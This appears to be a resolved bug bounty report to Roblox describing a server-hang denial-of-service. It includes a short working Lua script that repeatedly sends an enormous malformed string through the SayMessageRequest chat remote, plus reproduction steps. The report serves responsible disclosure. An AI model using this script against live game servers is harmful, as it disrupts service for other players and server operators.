Malformed string sent through FireServer leads to server freezing/hanging
Medium
R
Roblox
Submitted None
Actions:
Reported by
teeth
Vulnerability Details
Technical details and impact analysis
This was found an hour ago so if I get any information wrong, please comment and I'll get back to you!
A cheater/exploiter can hang any Roblox gameserver due to a 5 line script which sends a big malformed string through SayMessageRequest resulting in the server to hang itself. This works in any game that has the "SayMessageRequest" remote and can be done easily, especially if the attacker has some sort of "script execution" exploit on their hands.
To reproduce this exploit:
Go into Roblox Client/Studio
Execute this into the cmdbar
```
local malformed = string.rep("ก็็็▌▓", math.random(10000, 2e5))
local remote = game:GetService'ReplicatedStorage'.DefaultChatSystemChatEvents:WaitForChild'SayMessageRequest'
while wait() do
remote:FireServer(malformed, malformed)
end
```
Watch the server hang itself (try walking around).
Note: If done on Studio while playing solo, it seems to hang the entire program. Luckily I found a workaround to this by testing it in a local server with 2-3 players and then executing it on any of the player instances.
I've attached a PoC video.
## Impact
Hang/Freeze any game servers which isn't intended.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption